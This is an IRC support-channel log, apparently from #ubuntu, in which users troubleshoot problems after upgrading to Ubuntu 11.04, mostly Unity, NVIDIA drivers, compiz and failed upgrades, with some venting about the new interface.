[16:57] <Liiin> *umask
[16:57] <areay> i just upgraded to natty and i don't have an option to use unity. pressing alt+f2 and running unity brings up an unusable unity, i can see menus but they do nothing
[16:57] <KNUBBIG> Hey, I remember someone asked that already today but I didn't get the solution: When I click "Shutdown" in 11.04, it just simply logs me out instead of really shutting down, but "sudo shutdown -h now" works fine. Any ideas?
[16:57] <elxordi> areay: another option is ckeck if unity is activated on compiz settings
[16:57] <calrik> well my ubuntu 110.04 just finished downloading and upgrading, just about to reboot wish me luck there are no hiccup
[16:58] <spungo> Found it >> http://archive.ubuntu.com/ubuntu/dists/natty/main/installer-i386/current/images/netboot/mini.iso
[16:58] <vibhav> <cablop> tried?
[16:58] <areay> elxordi: i don't appear to have a unity plugin in compiz. is there a package for that?
[16:58] <cablop> vibhav: thanks, i think it is good enough, we can go iwlist when wanted more detail :)
[16:58] <perlsyntax> calrik,How ong does it tke to install it?
[16:58] <qkit> thanks guys
[16:59] <ActionParsnip> venik: that's why then, you need the metapackage to be able to update
[16:59] <vibhav> <areay> your graphic card must not be supporting it, but you can install its 2d version.
[16:59] <elxordi> yeah, but is dependency with unity package, so if it's installed, the option must be on compiz settings
[16:59] <greylurk> Ah, Unity is much better with the up-to date Nvidia drivers.
[16:59] <areay> vibhav, i've heard others reporting that they see a message that tells them unity is unsupported. i have seen nothing like this
[16:59] <elxordi> areay: yeah, but is dependency with unity package, so if it's installed, the option must be on compiz settings
[16:59] <venik> I removed the ubuntu-desktop AFTER the upgrade failed, because someone suggested that it might help
[17:00] <vibhav> <areay> what does your error say?
[17:00] <BinaryMan> is there something wrong with all of the 64-bit natty iso images?
[17:00] <venik> perhaps I should reinstall ubuntu-desktop (and face Mecca)
[17:00] <ActionParsnip> venik: i see, i believe it's needed so the updater knows what is going on
[17:00] <areay> vibhav, i get no error at all. i have no option to use unity as an interface. also running unity inside of gnome produces ugly results
[17:00] <BinaryMan> i've tried the same image from two different mirrors, burned it with two different machines, and the CD dies when trying to load the initrd
[17:01] <venik> it cannot be the explanation, since in all my first attempts the ubuntu-desktop was there
[17:01] <greylurk> BinaryMan I installed from Natty 64 bit image last night.  Worked ok, except for some partionioning confusion.
[17:01] <elxordi> my graphics arent smooth with ubuntu 11.04, and they where on 10.10, with ATI latest driver. anyone can help me to solve it?
[17:01] <jdahm> ActionParsnip: seems to not work for this app
[17:01] <areay> elxordi, unity is installed, but searching for 'unity' in compizconfig returns no results
[17:01] <BinaryMan> i can't get it to _boot)
[17:01] <BinaryMan> *_boot_
[17:01] <ActionParsnip> jdahm: strange
[17:01] <BinaryMan> i even had another guy burn the image with his computer.
[17:01] <jdahm> ActionParsnip: when I click on the icon I made, it pulses for a second and then nothing shows up and it stops pulsing
[17:01] <ChogyDan> venik: wait, do you have ubuntu-desktop?  and did you try to login with unity?
[17:01] <venik> I upgraded for the past 4 or 5 versions, with no need for clean installation, but now I probably reached the end of the line
[17:02] <exfileme> ugg ubuntu reminds me of windows 95
[17:02] <vibhav> <areay> post me a screenshot of that....
[17:02] <NyvenZA> how can I see all the versions of the nvidia drivers that are installed?
[17:02] <NyvenZA> is ther an apt-get command for that?
[17:02] <mikebeecham> guys, how do I access the 11.04 grub menu from bootup?
[17:02] <jdahm> exfileme: umm? how so?
[17:02] <venik> the upgrade never finished-- I got the error message mentioned above (COuld not calculate the upgrade)
[17:02] <SeRVeR01> hello there , when i play any game under wine  can't get rid of the top title bar any ideas  ? thanks
[17:02] <ChogyDan> venik: try installing ubuntu-desktop
[17:02] <elxordi> areay: wait, please, i'll check
[17:03] <Skei> ActionParsnip, got it working now, thank you.
[17:03] <exfileme> i upgraded to the new version and all of a sudden the Nvidia driver don't want to work. Strangely enough, the new update works better on the experimental 3D drivers save for that the icons dont appear in the Launcher bar
[17:03] <ActionParsnip> Skei: no worries :)
[17:03] <schweegi> how can i install the CalDav integration in evolution on ubuntu 11.04?
[17:03] <xangua> mikebeecham: keep Shift pressed when booting
[17:03] <mikebeecham> xangua: thx
[17:04] <perlsyntax> i hope ubuntu work good with android:)
[17:04] <exfileme> anyone else having problems with 11.04?
[17:04] <TheCynic> no problems at all exfileme
[17:04] <spungo> exfileme: everyone :P
[17:05] <larstorben> exfileme no
[17:05] <exfileme> spungo: thanks
[17:05] <perlsyntax> exfileme,whaat type of probs?
[17:05] <areay> vibhav, http://img848.imageshack.us/i/screenshotevv.png/
[17:05] <z0mbyk1d> hey, how do i restart inetd?
[17:05] <Skei> Does anyone know about integrated graphics support on 11.04 for a 1155 chip ?
[17:05] <z0mbyk1d>  1430 ?        Ss     0:00 /usr/sbin/inetd
[17:05] <venik> doing it now, although with little hope, since that is how I started
[17:05] <areay> vibhav, i've set the top panel to auto-hide
[17:06] <exfileme> anyone having better luck with the experimental drivers and Unity over Nvidia drivers?
[17:06] <elxordi> areay: i couldn't find the package to fix that. If it can help, i have it under the Desktop section on compiz settings manager
[17:06] <dios_mio> /topic #
[17:06] <spungo> looks like unity is about as welcome as a fart in a space suit.
[17:06] <elxordi> my graphics arent smooth with ubuntu 11.04, and they where on 10.10, with ATI latest driver. anyone can help me to solve it?
[17:06] <mikebeecham> guys...for some reason all I am seeing in additional drivers of 11.04 is (driver activated, but not currently in use). How can I resolve this?
[17:06] <tom__> x
[17:06] <areay> elxordi, nope, it's not in there :(
[17:07] <ChogyDan> mikebeecham: which driver?
[17:07] <Janusman> Just upgraded from 10.10 to 11.04 (I'm on WUBI) however, uname -r says I'm still using an older kernel... how do I use the new one?
[17:07] <mikebeecham> ChogyDan: hi mate! (version current)
[17:07] <Janusman> (also, on boot time the boot menu didn't show the new kernel)
[17:07] <larstorben> Janusman: reinstall it.
[17:07] <venik> Installing ubuntu-desktopo installs a lot of useless junk, like Empathy and Telepathy, etc., but I shall swallow it
[17:07] <elxordi> areay: maybe some package is missing. i'll give you a list of unity packages that i have installed, wait please
[17:07] <ActionParsnip> Janusman: try:  sudo update-grub    do you see the new kernel listed/
[17:07] <Janusman> larstorben: you mean, instead of upgrading I should reinstall everything? =)
[17:08] <ChogyDan> mikebeecham: hi  :)
[17:08] <larstorben> yes Janusman: that would be good :)
[17:08] <larstorben> do you use gnome or kde
[17:08] <areay> elxordi, it seems that's not my only problem. my sources.list is for maverick even though i've never had maverick installed. i upgraded from lucid to natty
[17:08] <mikebeecham> ChogyDan: yeah, I'm using the recommended proprietary drivers
[17:09] <Janusman> ActionParsnip: yes, in fact it was there before running sudo update-grub, it's there after. I'll reboot and see if it shows.
[17:09] <Janusman> thanks
[17:09] <ActionParsnip> Janusman: np man
[17:09] <larstorben> np
[17:09] <ChogyDan> mikebeecham: yeah, I have the same issue.  Not sure if it is accurate though.  It looks like 'nvidia' driver is the one in use
[17:09] <cablop> well guys
[17:09] <cablop> another question
[17:10] <elxordi> areay: :S people recommend to update to next inmediate version.... would you like my sources.list?
[17:10] <areay> elxordi, yes please, ty
[17:10] <cablop> compared to 10.10 is 10.04 much better or just a few  improvements?
[17:10] <dd214> how do I find a file by Wildcard search from a terminal command?
[17:10] <cablop> i mean 11.04
[17:10] <mikebeecham> ChogyDan: yeah, but I have no hardware acceleration, which means I cannot use compiz etc
[17:10] <vagvaf> hello people, do u know how can i set universal hot keys?
[17:10] <velcroshooz> areay, probably part of your problem. you cant skip versions unless its lts to lts - you should have upgraded to 10.10 then 11.04
[17:10] <elxordi> areay: wait ;)
[17:10] <ayecee> cablop: it's an incremental change as always.
[17:10] <davidshen84> hi, i just got 11.04 desktop install. it seems the compiz package is not installed by defualt?
[17:10] <ChogyDan> mikebeecham: what driver is being used according to this?  sudo lshw -C video
[17:10] <greylurk> cablop lots of changes... Unity is definitly something to get used ot.
[17:11] <cdavis> Anyone know where I can download a .deb of shc for natty?
[17:11] <Theoretician> Is Ubuntu 11.04 stable enough to run?
[17:11] <mikebeecham> ChogyDan: sec
[17:11] <ayecee> Theoretician: yes
[17:11] <greylurk> Theoretician I only installed it last night, but it seems to work fine, on a fresh install
[17:11] <cablop> mmm unity by default? then better i keep in 10.10 for a while... i disliked unity because it had a unable to hide bar at the left
[17:11] <davidshen84> hi, can anyone tell me how to zoom the desktop? like in 10.04
[17:11] <areay> velcroshooz, i just used the update manager. it doesn't give an option to choose which release to upgrade to
[17:11] <eiriksvin> can somone tell me why Ubuntu cant find my nVIDIA card?
[17:11] <vibhav> <areay> try "unity --reset"
[17:11] <NyvenZA> not to shoot it down, But I have been having massive graphics issues
[17:12] <eiriksvin> i cant update to natty becuase of it
[17:12] <ActionParsnip> cablop: you can boot to a traditional desktop if you want....default means nothing
[17:12] <greylurk> cablop the left bar autohides
[17:12] <elxordi> areay: http://paste.ubuntu.com/600848/
[17:12] <Theoretician> Are there any downsides to upgrading?
[17:12] <mikebeecham> ChogyDan: does not tell me driver...only gfx card
[17:12] <elxordi> areay: tell me if it works for you ;)
[17:12] <NyvenZA> eiriksvin: don't know, but I have same problem
[17:12] <ActionParsnip> eiriksvin: do you have one of those switchable video chips?
[17:12] <eiriksvin> Natty is cool, but just switch to classic mode... the new gui is unstable
[17:13] <greylurk> Theoretician You'll need to build new muscle memory in terms of where things are, and how to use the window manager.
[17:13] <ChogyDan> mikebeecham: is there a "configuration" line?
[17:13] <mikebeecham> sorry ChogyDan: Driver=Nvidia
[17:13] <eiriksvin> yeah it says i cant even use it
[17:13] <Theoretician> eiriksvin the new gui is bad? why?
[17:13] <cablop> i just liked the bar was like the win7 taskbar
[17:13] <elxordi> areay: also, try with "update-manager -d" on the terminal before. let's see if it offers you the possibility to update
[17:13] <perlsyntax> i shock they din't upgrade perl in ubuntu.
[17:13] <areay> vibhav, unknown option: --reset
[17:13] <areay> i think i broke ubuntu lol
[17:13] <areay> now do-release-upgrade is upgrading me to natty. even though i'm already theoretically using it
[17:13] <eiriksvin> bars dissappear and stuff
[17:13] <greylurk> perlsyntax i'm surprised that Natty still includes Eclipse Ganymede.
[17:14] <elxordi> http://paste.ubuntu.com/600848/
[17:14] <areay> elxordi, it seems that update-manager is working. i'm gonna let it finish. ty for your help:)
[17:14] <cablop> i disliked i cannot configure two panels as clasic one on top and below and move their items
[17:14] <juzzy__> hey, ive updated to 11.04 - how may I place a my old weather widget dock thing onto the upper bar again??
[17:14] <ChogyDan> cablop: use classic
[17:14] <juzzy__> there is not context menu
[17:14] <elxordi> areay: you're welcome :) good luck!
[17:14] <zombor> hi, are the live cd's supposed to be working with intel i3+H61 machines?
[17:14] <perlsyntax> greylurk,Is that the newer one?
[17:15] <eiriksvin> is there a way to update my nVIDIA driver?
[17:15] <greylurk> perlsyntax no, the newest is Helios.
[17:15] <aetaric> hey updated to 11.04 and my nvidia driver updated with it, it says it's activated but not currently in use.
[17:15] <cablop> sigh, i'll like the apps left bar with the classic panels and so on xD
[17:15] <cablop> in fact i just want the left bar from unity :P
[17:15] <cablop> any sound or video issues?
[17:15] <venik> why does it take forever on WAITING FOR HEADERS?
[17:16] <eiriksvin> cablop>its a bit buggy still, give it a month or so
[17:16] <cablop> that crappy pulseaudio becomes just noise and cracks and bleeps after a while, but alsa cannot deal tih my mic
[17:16] <NyvenZA> so far most complains seem to be NVida and Unity related
[17:16] <greylurk> cablop Mine installed just fine with an NVidia Card and onboard sound on an ECS motherboard ( don't have the specs handy right now )
[17:16] <cablop> *with
[17:16] <cablop> mmm i see
[17:16] <e01> hello
[17:16] <exfileme> i like the unity interface, I just wish the icons  would appear and the bar would hide like it's supposed to.
[17:17] <cablop> afaik the cracky crappy sund it is an issue related to laptops netbooks
[17:17] <aetaric> mine is just not playing nice
[17:17] <jMCg> Hey folks.
[17:17] <greylurk> cablop it sounds like people are having trouble with upgrades on NVidia hardware though.
[17:17] <eiriksvin> we installed Natty on my Moms comp, and it updated nvidia fine, and it did it all on its own, but mine says i have no driver
[17:17] <e01> how can i add partitions to be automounted in natty, because in current installer, there is no option to using custom locations for mounting
[17:17] <cablop> when the kernel uses some event instead of time management in order to save battery
[17:17]  * NyvenZA is trying Nvidia drivers direclty from Nvidia now
[17:17] <NyvenZA> busy installing
[17:17] <ActionParsnip> eiriksvin: may need to run:  sudo nvidia-xconfig
[17:17] <cablop> i always used nvidia drivers in ubuntu
[17:18] <cablop> i mean
[17:18] <greylurk> eiriksvin were you upgrading yours or was it a fresh install?
[17:18] <jMCg> I'm having trouble grasping exactly what stuff is put in /usr/lib and what is put in /lib/x86_64-linux-gnu -- and why. -- Can someone point me to a possible explanation?
[17:18] <cablop> original drivers
[17:18] <cablop> :P
[17:18] <exfileme> i couldnt get drivers downloaded from nvidia to install :(
[17:18] <eiriksvin> upgrading
[17:18] <venik> boot in 10 seconds... waiting for heareds-- eternity
[17:18] <eiriksvin> trying xconfig
[17:18] <cablop> ubuntu is free but its main focus is be usable rather than OSS
[17:18] <TheHackOps> Hey guys
[17:19] <JoshDreamland> Hey all; increment the number of people that are so dissatisfied with Unity as to throw their computer out the window, for me
[17:19] <Skei> Anyone know much about 1155 graphics cards under Natty ?
[17:19] <eiriksvin> eiriksvin@ubuntu:~$ sudo nvidia-xconfig
[17:19] <eiriksvin> [sudo] password for eiriksvin:
[17:19] <eiriksvin> sudo: nvidia-xconfig: command not found
[17:19] <eiriksvin> eiriksvin@ubuntu:~$
[17:19] <TheHackOps> cablop, Which is why it works better that most other distros
[17:19] <ActionParsnip> cablop: I just use what gets the job done. I don't care if its OSS or not
[17:19] <eiriksvin> wee
[17:19] <ActionParsnip> eiriksvin: then install the nvidia driver from the repo
[17:19] <TheHackOps> ActionParsnip, What are you trying to do?
[17:19] <JoshDreamland> Can someone direct me as to finding the Appearance preferences?
[17:19] <abhishek> hi guy's
[17:19] <cablop> ActionParsnip: same here :)
[17:19] <eiriksvin> how?
[17:19] <JoshDreamland> Or any preferences at all, really?
[17:19] <TheHackOps> JoshDreamland, pm me
[17:19] <arand> JoshDreamland: Shutdown button
[17:19] <cablop> wait
[17:19] <cablop> i want the answer of finding prefs too
[17:20] <TheHackOps> arand, no trolling
[17:20] <aetaric> eiriksvin, system > administration > additional drivers
[17:20] <mikebeecham> Hi...can anyone advise on why 11.04 proprietary drivers are "activate, but not in use"?
[17:20] <eiriksvin> thank you
[17:20] <arand> TheHackOps: Same to you sir.
[17:20] <greylurk> JoshDreamland in unity prefs is under the applications.
[17:20] <TheHackOps> cablop, USC > ccsm
[17:20] <aetaric> mikebeecham, nvidia?
[17:20] <mikebeecham> aetaric: yessir
[17:20] <cablop> mikebeecham: license terms, meaning you as a person actively enable them
[17:20] <aetaric> mikebeecham, having the same issue
[17:20] <mikebeecham> cablop: how?
[17:20]  * NyvenZA want to break something 
[17:20] <MnCC> how do i get compiz working again ?
[17:21] <NyvenZA> still no luck with these damn drivers
[17:21] <JoshDreamland> I miss GNOME so bad it aches. I had to launch pidgin from a terminal
[17:21] <cablop> if thinks are like 10.10 just ticking the active checkbox
[17:21] <TheHackOps> to many people on tonight who to help first
[17:21] <TheHackOps> gahh
[17:21] <wrinkliez> is there a way to change the default ubuntu  lense? when i bring up the dash, for example, i dont even use email so could i change it?
[17:21] <mikebeecham> cablop: where is the checkbox?
[17:21] <eiriksvin> ok, downloading and installing recommended driver
[17:21] <mikebeecham> there is no active checkbox in 'Additional Drivers'
[17:21] <cablop> let me check mikebeecham
[17:21] <arand> JoshDreamland: cablop: TheHackOps: System settings are in the shutdown menu.
[17:21] <mikebeecham> cablop: would appreciate it...thanks
[17:21] <greylurk> JoshDreamland I kind of like typing to find my programs... it feels like im in a CLI again.
[17:21] <Janusman> ActionParsnip: I'm finding I have to manually edit /boot/grub/grub.cfg to have the new kernel in the boot menu... hoping that works (again; I'm using wubi)
[17:22] <TheHackOps> whats the offtopic channel again
[17:22] <TheHackOps> i need to rant about unity
[17:22] <cablop> why system settings in the shutdown menu????
[17:22] <MnCC> did they remove gnome ? .. that would prob explain why compiz isnt working
[17:22] <JoshDreamland> greylurk: no, it feels like windows 7
[17:22] <MnCC> *ielg*
[17:22] <JoshDreamland> Thank you, arand
[17:22] <greylurk> JoshDreamland wouldn't know... i don't use Windows 7.
[17:22] <eiriksvin> <TheHackOps> many of us do
[17:22] <vibhav> any problems anyone?
[17:22] <WLU> randomly my laptop freezes the screen with horizontal lines and nothing can be done except a hard reboot. This is been occurring  with 9.04, 9.10, and now 10.04. The laptop is X61T lenovo tablet with GMA 950 I don't know it it a video card problem or something else, any help is greatly appreciated
[17:22] <TheHackOps> JoshDreamland, Don't mention that
[17:22] <JoshDreamland> unfortunately, none of those preferences are "Show all of my programs"
[17:22] <cablop> MnCC yup it seems unity uses its own windowmanager, not the compiz one
[17:22] <TheHackOps> just revert back to 10.10 like i did
[17:22] <TheHackOps> all good
[17:22] <JoshDreamland> I feel like I'm suffocating.
[17:23] <abhishek> any body help me to upgrade my ubuntu 10.10
[17:23] <cablop> mikebeecham: afaik you get somehow to the additional drivers panel
[17:23] <TheHackOps> Lulz
[17:23] <vibhav> <abhishek> I ca nhelp
[17:23] <aperson> does xargs work with bash functions?  I'm trying send the output of xargs to a function, but it's not working
[17:23] <vibhav> <abhishek> I can help
[17:23] <eiriksvin> im just gonna use classic mode, no need to revert back:)
[17:23] <MnCC> cablop, i can use compiz .. with the --replace option .. but how do i make that stick permanently ?
[17:23] <JoshDreamland> Whoever thought this panel to the side with six programs in it was useful was obviously a mac user
[17:23] <cablop> mikebeecham: then select the one you want to enable and click on the activate button, it will disable the free one and enable the restricted driver
[17:23] <aetaric> cablop, accept the is no check box in that
[17:23] <NyvenZA> ok, I uninstalled UNITY, I uninstalled ALL the NVIDIA drivers, I then downloaded the latest NVDIA drivers from NVIDIA direclty. I rebooted and lightDM comes up. I can login, bit only the icons on the desktop are displayed, i can't interactect with them or do anyting else. No window manger loads...
[17:23] <eiriksvin> Natty classic mode is clean as a whistle
[17:23] <TheHackOps> how do i pm someone in irc again i forgot
[17:23] <aetaric> cablop, and it doesn't enable it
[17:23] <dotlegend> i am trying to copy data from a home folder (suse os) how can i properly take ownership and copy data to new external drive??
[17:23] <arand> aperson: Full command and desired outcome? (pastebin if necessary)
[17:23] <cablop> no checkbox, sorry, was confused
[17:23] <NyvenZA> It looks like the Xorg is the problem not unity
[17:23] <gartral> WLU: have you tryed switching VTs>X with alt-f6/alt-f7?
[17:23] <TheHackOps> how do i pm someone in irc again i forgot
[17:24] <cablop> afaik, if you use nvidia you will have a long way to go
[17:24] <mikebeecham> cablop: Yes, normally this would be the case, but I've downloaded, installed and booted usinf the nvidia drivers, but I am being told they are activated, but not in use!!
[17:24] <gartral> TheHackOps: /msg nick words
[17:24] <JoshDreamland> how can I trade unity back for GNOME?
[17:24] <cablop> for 10.04 and 10.10 you need to delete nuveau drivers first, then install the nvidia ones
[17:24] <ScottONanski> I'm using Unity with the Nvidia proprietary 270. drivers.
[17:24] <MnCC> anyone know how i can make the compiz --replace permanent ?
[17:24] <TheHackOps> nono start a private chat
[17:24] <ScottONanski> Works great.
[17:24] <mikebeecham> cablop: no you dont!
[17:24] <dotlegend> <JoshDreamland>logout and choose gnome old
[17:24] <dotlegend> classic
[17:24] <JoshDreamland> thanks, dotlegend
[17:24]  * aetaric wonders if hacking up some x11 will solve his issues
[17:24] <gartral> JoshDreamland: logout, select name, theres a little dropdown that should read "ubuntu" change it too "ubuntu classic"
[17:24] <greylurk> How do I install Oracle Java?
[17:25] <arand> TheHackOps: You should avoid /msg ing people in this chat anyways.
[17:25] <eiriksvin> <JoshDreamland> go to ur login screen, at the bottom choose Classic Mode as ur session
[17:25] <xangua> !java | greylurk
[17:25] <ubottu> greylurk: To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[17:25] <cablop> MnCC not sure, but try installing the CompizFusionIcon, and change settings from there, it'll change the settings for you
[17:25] <eiriksvin> doh, he beat me to it
[17:25] <TheHackOps> arand, going to help the people i know a solution to bcz its busy hour at the moment
[17:25] <mvdir> I am getting the following error trying to install from a ppa in ec2: "Unable to connect to ppa.launchpad.net:http:"
[17:25] <rauchy> Hey guys. If I've been running 11.04 beta, and ran 'apt-get upgrade', am I actually running the release?
[17:25] <MnCC> cablop, im on it =)
[17:25] <arand> TheHackOps: Then please do so in this channel so that everyone can chip in.
[17:25] <greylurk> Oracle java isn't showing up in Natty though.
[17:25] <cablop> mikebeecham: i did that in 10.10 to enable the nvidia drivers, i removed many nouveau content
[17:26] <abhishek> hello vibhav are u there
[17:26] <TheHackOps> Ok
[17:26] <TheHackOps> Sure
[17:26] <xangua>  because ppa.launchpad.net:http: is not a ppa raunchy
[17:26] <gartral> rauchy: yes! welcome too the stable
[17:26] <eiriksvin> and he even had it "right" it is called Ubuntu Classic
[17:26] <TheHackOps> its hard to see whats going on the chat is running so fast
[17:26] <WLU> gartal: No I have not what does this do?
[17:26] <TheHackOps> but ok what ever
[17:26] <cablop> because a broken reference in somepackage makes nouveau lanch and then you cannot use the nvidia drivers
[17:26] <JoshDreamland> I feel so invaded ;_;
[17:26] <xangua> !enter | TheHackOps and please don't make it worse ;)
[17:26] <ubottu> TheHackOps and please don't make it worse ;): Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[17:26] <arand> TheHackOps: Unless you ask and they confirm that you want a pm, of course.
[17:26]  * NyvenZA is ready to start sobbing
[17:26] <eiriksvin> heh
[17:26] <gartral> TheHackOps: ues /lastlog TheHackOps
[17:26] <rauchy> gartral: thanks. but I didn't get any "Newer version of Ubuntu" notification, which I'm used to from previous releases.
[17:26] <cablop> greylurk, enable all repos, then try again
[17:26] <TheHackOps> I have a solution to the nvidia, go to there website and download the linux drivers they work fine
[17:26] <vibhav> <abhishek> Yes iam there
[17:26] <arnab> hi - my ubuntu doesn't show any higher resolution than 1024x768 - i am running ubuntu in virtualbox. can i get a better resolution?
[17:27] <gartral> rauchy: yea, the put those on the chopping block
[17:27]  * vibhav is ready to help
[17:27] <NyvenZA> TheHackOps: I just tried it and it doesn't work for me
[17:27] <MnCC> btw .. my update to 11.04 wrecked: fingerprint reader, compiz, virtualbox, xbmc, shutdown/reboot from gui  .. lots of work todo
[17:27] <abhishek> so, plz help me about upgrade
[17:27] <TheHackOps> NyvenZA, Error?
[17:27] <ScottONanski> TheHackOps: That's what I'm using. Downloaded, and installed them this morning.
[17:27]  * eiriksvin says brb got a turtle head poking out... :D
[17:27] <cablop> TheHackOps: yes, that solves the nvidia thing, but with a cost, each time you upgrade your kernel they recomplie something and your old kernels won't work for gui
[17:27] <ScottONanski> Didn
[17:27] <CQ> arnab- my ubuntu guests resize as I resize the window, with the guest additions isntalled
[17:27] <rauchy> gartral: ok, off I go to enjoy my new 11.04 :-D
[17:27] <rauchy> gartral: thanks
[17:27] <NyvenZA> TheHackOps: nope, no errors that is why I am ready to cry
[17:27] <JoshDreamland> My God, even the scroll bars are unusable
[17:27] <NyvenZA> lol
[17:27] <NyvenZA> I can login
[17:27] <vibhav> abhishek you want to upgrade to 11.04 or 10.10?
[17:27] <ScottONanski> Didn't even remove the old drivers. lol
[17:27] <arnab> god.. you're right CQ! thanks
[17:28] <JoshDreamland> How do I get my old scroll bars back?
[17:28] <NyvenZA> I selected classic, noeffects , safemode
[17:28] <NyvenZA> all of them
[17:28] <NyvenZA> I get to the desktop
[17:28] <NyvenZA> the icons are there
[17:28] <JoshDreamland> You know, the ones that did more than just indicate where I am
[17:28] <TheHackOps> NyvenZA, What problems is it causing, cablop, thats what happens when the kernal updates all the time...
[17:28] <NyvenZA> But I can't interact with the desktop
[17:28] <gartral> MnCC: the virtualbox ptoblem is probably because the kernel drivers didn't get recompiled..
[17:28] <arnab> so is there any way to get the classic menus back?
[17:28] <riba> hh
[17:28] <mikebeecham> Hi...can anyone advise on why 11.04 proprietary drivers are "activate, but not in use"?
[17:28] <riba> e
[17:28] <cablop> for everyone, i suggest you to install the classic gnome desktop, then tweak it until compiz and drivers are working properly
[17:28] <lgp171188> Hi, I am using Natty. I find that even when I am connected to the internet, my me menu status set to available, still there is no textbox in the me menu to post. What is the issue?
[17:29] <cablop> then move to unity and make it works
[17:29] <dotlegend> i am trying to copy data from a home folder (suse os) how can i properly take ownership and copy data to new external drive??
[17:29] <Guest32828> hello
[17:29] <TheHackOps> NyvenZA, Does not sound like a display driver issue, did you update the kernel or something?
[17:29] <JoshDreamland> Now the thing died. I'm so angry about this new release, I could kill someone. Or go write an angry blog.
[17:29] <Guest32828> awdplawpdoa
[17:29] <Guest32828> wdawd
[17:29] <Guest32828> awd
[17:29] <ScottONanski> mikebeecham: Download and install the proprietaries from Nvidia's site.
[17:29] <ScottONanski> They work much better.
[17:29] <TheHackOps> ScottONanski, he did
[17:29] <CQ> arnab: log out, and then after you select yout username onteh login page, look atht e bottom of the screen and select ubuntu classic
[17:29] <zombor> hello, im trying to install ubuntu, and i get the bootloader, but when i select "install" i just get a blank screen. im trying to install it on an intel i3 H61 machine, anyone know how to get it to work?
[17:29] <cablop> Nyvenza do that, move to classic gnome and deal with it until compiz works
[17:29] <xangua> lgp171188: did you add a twitter account to gwibber¿¿
[17:29] <NyvenZA> TheHackOps: ok, I tried to update the vboxdrv earlier and it comaplined that the worng version of the header files are installed
[17:29] <arnab> thanks!
[17:29] <MnCC> gartral, in my case i had no source/headers/generic files .. after downloading i was able to recompile
[17:29] <xangua> i think gwibber now uses lens, not sure lgp171188
[17:30] <cablop> Nyvenza not all headers are installed by default
[17:30] <lgp171188> xangua: Yes. I have twitter, facebook and identi.ca accounts added. In fact I get notifications for all those accounts
[17:30] <TheHackOps> NyvenZA, Ok, then did it crash after that
[17:30] <TheHackOps> or stop working
[17:30] <JoshDreamland> I can't scroll. I can't see where my cursor is. This release is fucking drowning. Good bye.
[17:30] <aetaric> so i need to uninstall the opensource nvidia drivers?
[17:30] <NyvenZA> cablop: how do I change to the classic gnom?
[17:30] <mikebeecham> ScottONanski: are they different from the one that came with 11.04?  And is that an easy install?
[17:30] <floop_> hi all
[17:30] <cablop> aetaric i suggest you to install the proprietary ones
[17:30] <NyvenZA> TheHackOps: I have had no craches
[17:30] <ScottONanski> Yes, mike.
[17:30] <TheHackOps> Who the hell idea was unity anyway, its a bad idea
[17:30] <aetaric> cablop, they already are
[17:31] <ScottONanski> mike. pm me. and bring a pen.
[17:31] <TheHackOps> NyvenZA, I mean is that when it stoped working
[17:31] <cablop> Nyvenza afaik sudo apt-get install gnome-desktop
[17:31] <mikebeecham> ScottONanski: will do"
[17:31] <NyvenZA> I just can't believe that they relieased it with so many issues
[17:31] <abhishek> hello  vaibhav
[17:31] <arand> zombor: If you press F6 and remove "quiet splash" from the boot line, does it display any instersting errors?
[17:31] <NyvenZA> Xorg and Virtual box stoped workign uppon upgrading to 11.04
[17:31] <TheHackOps> NyvenZA, Im confused are you on clasic or unity
[17:31] <arand> zombor: Alternatively, does the alternate install CD work better?
[17:31] <NyvenZA> currently on the default unity
[17:31] <TheHackOps> kk
[17:31] <cablop> the best time was when they launched 6.06, they do a good work to release something with no errors
[17:32] <NyvenZA> TheHackOps: want to try and go back to classic now
[17:32] <TheHackOps> try what cablop said
[17:32] <NyvenZA> to see if that works
[17:32] <zombor> arand: let me try your first suggestion
[17:32] <zombor> arand: i havent tried the alternate install
[17:32] <spungo> NyvenZA: got the latest vbox?
[17:32] <cablop> after that ubuntu seems to be, try, and deal with it until you got used to what WE believe it is good for you
[17:32] <TheHackOps> NyvenZA, sudo apt-get install gnome-desktop
[17:32] <DasEi> NyvenZA: http://dl.dropbox.com/u/27668927/gnome
[17:32] <ActionParsnip> TheHackOps: don't use it then
[17:32] <TheHackOps> ActionParsnip, What?
[17:32] <spungo> NyvenZA: 4.0.6 iirc
[17:32] <nit-wit> complain somewhere else please
[17:32] <ActionParsnip> TheHackOps: you can use classic desktop if you dislike unity
[17:32] <gartral> TheHackOps: unity is... "fun" <grumble>
[17:33] <floop_> nvidia drivers on ion2 not working :( Asus vx6
[17:33] <zombor> arand: without quiet boot, a bunch of stuff scrolls by, then i get a blank screen
[17:33] <NyvenZA> DasEi: what was that ?
[17:33] <TheHackOps> ActionParsnip, Im not using it, i just love to help out the community and this seems to be the biggest problem among new people
[17:33] <cablop> but, besides ranting, my suggestion is this to solve all unity and nvidia and compiz issues
[17:33] <ActionParsnip> floop_: install nvidia-current and reboot, failing that, install nvidia-173    and reboot
[17:33] <TheHackOps> and old timers aswell
[17:33] <eiriksvin> brb restarting
[17:33] <NyvenZA> spungo: I am rebooting system all the time can't use something else right now
[17:33] <TheHackOps> k
[17:33] <Kevin147> I upgraded yesterday, and now my desktop is saying the following: "Minimal BASH-like line editing is supported. For the first word, TAB lists possible command completions. Anywhere else TAB lists possible device or file completions."
[17:33] <DasEi> NyvenZA: a link on howto switch back to gnome
[17:33] <MnCC> compiz-fusion didnt do the trick ..
[17:33] <xinel> eh my dad seems to like unity, and if ubuntu wants more desktop users i think it was a good move imo
[17:33] <NyvenZA> cablop: I get  "e: unable to locate package gnome-desktop"
[17:33] <ActionParsnip> TheHackOps: I don't see an issue personally
[17:34] <TheHackOps> MnCC, Problem?
[17:34] <cablop> install the classic gnome, you already know it, then configure compiz, drivers and so on until they work, then when everything is working fine move to unity
[17:34] <Younder> Hmm seems  the video controller and PCI controller both use irq 16 no wonder it fails.. (11.04 failed to start window manager correctly, nvidea card seemed the culprit)
[17:34] <NyvenZA> DasEi: what format is it. the file name was just gnome
[17:34] <TheHackOps> ActionParsnip, Where not meant to talk about that in here, it hogs the channel
[17:34] <jaymeskeller> Hi, I have a problem with g15daemon under 11.04. When I attempt to start it up, it hangs, telling me that it couldn't find "/dev/input/uinput". I have attempted to use "/dev/uinput/", but it hangs. Any ideas, or just file a big report?
